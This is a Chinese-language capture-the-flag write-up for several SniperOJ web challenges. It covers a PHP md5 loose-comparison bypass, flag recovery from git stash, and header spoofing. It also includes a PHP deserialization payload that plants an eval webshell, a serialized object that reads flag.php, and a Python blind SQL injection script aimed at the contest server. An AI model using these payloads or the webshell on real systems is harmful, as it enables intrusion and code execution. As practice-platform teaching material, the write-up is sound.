1. 程式人生 > >SniperOJ Web by Assassin

SniperOJ Web by Assassin

md5-vs-injection

好久不做題了

這裡寫圖片描述

肯定是檔案洩露了,猜測容易得到index.phps洩露檔案,然後看一下是啥
<?php
$flag = 'SniperOJ{********************}';

    if(isset($_POST['password'])){
        $current_password = "QNKCDZO";
        $password = $_POST['password'];
        if (($current_password != $password)){
            $current_password_md5
= md5($current_password); $password_md5 = md5($password); if($current_password_md5 == $password_md5){ echo '<script>alert("You know php well!")</script>'; echo $flag; }else{ echo('<script>alert("Your password is wrong!")</script>'
); } }else{ echo('<script>alert("Your password is wrong!")</script>'); } }else{ echo('<script>alert("Input your password!")</script>'); } ?>

然後這就簡單了,隨便用一個

SniperOJ{pHp_is_the_best_programming_language_in_the_world} 

2048

一看到題目中的參考資料發現…githacker???難道是原始碼洩露??一掃果然是

這裡寫圖片描述

然後就用githacker下載吧
原來是js指令碼啊,其實再chrome上也是可以看的,然後估計就死程式碼審計了,但是真的什麼都沒有啊!!!到底是什麼鬼啊…
然後看了看高手的提示,這個題原本的問題並不在2048這個程式上,而是再git上!本來chrome就能閱讀原始碼,何必再git上,對吧!因為git是關鍵點,這個題目是git日誌的迴轉功能,即git再開發的過程中可以記錄幾個斷點,利用git的命令可以返回工程的某個斷點位置,類似於虛擬機器的快照功能,本題就是把flag藏在了那裡…真是…長見識了!
推薦一下王一航的文章,說得很清楚

製作過程

mkdir misc
cd misc
git init
echo "my file" > index.php
git add index.php
git commit -m "Init commit"
echo "SniperOJ{xxxxxx}" > flag
git stash save "hide my flag"
git log
git reflog

作者:王一航
連結:http://www.jianshu.com/p/e9923b65789e
來源:簡書
著作權歸作者所有。商業轉載請聯絡作者獲得授權,非商業轉載請註明出處。

王大牛的做法是爆搜

cat `find .`
這個命令可以直接遞迴列印當前資料夾下所有的檔案內容
然後看到了一條比較奇怪的 commit id

使用正常的git指令恢復如下

方法一

git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03

首先第一個列出撤銷點

這裡寫圖片描述

看到一個新增什麼my secret,然後返回到改斷點即可!

這裡寫圖片描述

然後發現再目錄下就被恢復了
這裡寫圖片描述

開啟得到flag

方法二

git stash list | tee
git stash pop # 或者使用 git stash apply
這裡寫圖片描述

真是學習了,膜一發

SniperOJ-Web-Browser

首先看到說瀏覽器限制

這裡寫圖片描述

修改http頭部的User-Agent
User-Agent: SniperOJ-Web-Broswer

然後變成了如下

這裡寫圖片描述

新增如下
X-FORWARDED-FOR:127.0.0.1
這裡寫圖片描述

一瞬間想到了jarvisoj 上的port 51,可以用curl來使他本地連線
使用一下語句

sudo curl -H "User-Agent: SniperOJ-Web-Broswer"  -H "X-FORWARDED-FOR:127.0.0.1"  --local-port 23333 http://120.24.215.80:10005/

但是不知道平臺是咋了識別不了…嗯,方法肯定是對的…原來是需要公網IP…

php-object-injection

居然是什麼毛病都說了,怎麼可能沒有原始碼呢!掃一發

這裡寫圖片描述

下載先來檔案然後用vim -r 恢復檔案得到程式碼

<?php
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }    
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }

?>
<html>
<body>
<p><br/>Fuck, the powerline was suddenly cut off last night.</p>
</body>
</html>

對於該題目還是有一些認識的,但是出於一些小錯誤一直蛋疼到很久猜解決
下面首先羅列一下坑點吧

1.一定要用php直接base64在urlencode!要不然貌似和自己在burp上加密的結果不一樣?我擦,我也不知道為啥不一樣!總之攜程式碼解決
2.因為每次是追加的寫入,所以在後面偽造檔案的時候,構造一次要換一個檔名...
3.注意不要自己意淫把人家的private屬性變成public!!!

然後我們直接寫程式碼解決吧…嗯…

<?php
class Logger{
        private $logFile='img/new3.php';
        private $initMsg='';
        private $exitMsg="<?php eval(\$_POST['cmd'])?>";  
    }


    print urlencode(base64_encode(serialize(new Logger())));
?>

上傳小馬,注意為了轉移雙引號中的post變數,我轉義了$
然後得到之後用burp抓包構造cookie值如下

這裡寫圖片描述

然後我們嘗試一下效果
這裡寫圖片描述

然後就是海闊憑魚躍了嗯…還是自己太菜了…坑死自己
這裡寫圖片描述
SniperOJ{761f3235f57b6664ac9eb2518edc1478} 

guess the code

首先掃描一下目錄把

這裡寫圖片描述

訪問一下flag.php發現是這個
這裡寫圖片描述
這裡寫圖片描述

然後解密一下發現明顯是一個 serialize()過的東西。也大概和提醒的切題把,而且這個一定是最後牽扯到一個檔案讀寫的問題嗯。然後進行幾次實驗!
搞了一圈還是不知道是幹什麼的,掃描目錄也不是原始碼洩露,看一下原始碼發現居然隱藏了東西…天坑
這裡寫圖片描述

然後瞬間就簡單了有木有,經過幾次測試得到list的值是一個array型別,而且每次輸入引數的時候list變化再陣列後面加入輸入內容,那麼我們輸入的東西可能也需要再輸入之前陣列解析,然後加入內容輸出!構造程式碼如下
<?php
Class whatthefuck{
    public $source="flag.php";
    public function __toString()
    {
        return highlight_file($this->source,true);
    }
}
echo serialize(new whatthefuck())."</br>";
echo urlencode(serialize(array(new whatthefuck())))."</br>";
?>

替換list值即可!

這裡寫圖片描述
SniperOJ{85262fb1410766c53bdfe51d15b6c4e342d3d514}

inject-again

提示了

這裡寫圖片描述

間接說明admin使用者存在,表名是admin列名是passwrod嗯,省事了,一看就像以前的什麼盲注啊…
這裡寫圖片描述

說明username存在截斷!但是貌似過濾了#和//的註釋符號!
http://120.24.215.80:10004/?username=admin'^0^1-- &password=123
http://120.24.215.80:10004/?username=admin'^1^1-- &password=123
http://120.24.215.80:10004/?username=admin' and 1-- &password=123

都可以構造盲注來著,但是沒那麼簡單,貌似過濾了圓括號,limit,password,username欄位,簡直就是不可能用上述的盲注了…然後繼續…
還是看了看大牛的提示…試一試

http://120.24.215.80:10004/?username=%27%20union%20select%20%201%2C1%2C1%23&password=1

發現存在注入點…當然了,因為過濾了password這個欄位,直接去查詢是不可能的,又不可以用圓括號,然後就想到了order by盲注嗯
類似的payload就是

?username=admin' union select 1,2,'%s' order by 3#&password=

因為第三列一般是password,這個可以通過order by 2猜測第二列是username大概猜測到嗯,然後注意申請的時候需要urlencode嗯。
直接上指令碼

#_*_ coding:utf-8 _*_
import requests,re,string,urllib
sss=string.digits+string.uppercase+string.lowercase+'!'
url = 'http://120.24.215.80:10004?'
headers = {
    'Host': '120.24.215.80:10004',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1'

}
flag=''
for l in range(1,50):
    key=0
    for i in range(len(sss)):
        temp = flag+sss[i]
        nowurl=url+"username=admin' union select 1,2,'"+temp+"' order by 3%23&password="
        #print nowurl
        html = requests.get(nowurl).text
        #print html
        if len(sss)==i-1:
            break
        if '2' in html:
            continue
        else :
            flag+=sss[i-1]
            print flag
            key=1
            break
    if key==0:
        break

print "the password is ",flag

得到

498C67B7C86B01BD68AB5CBAFD245B1B

不知道為啥指令碼存在一定的失誤…

這裡寫圖片描述

然後需要加上外殼嗯…最終答案

SniperOJ{sniperoj}




[實力不夠持續更新]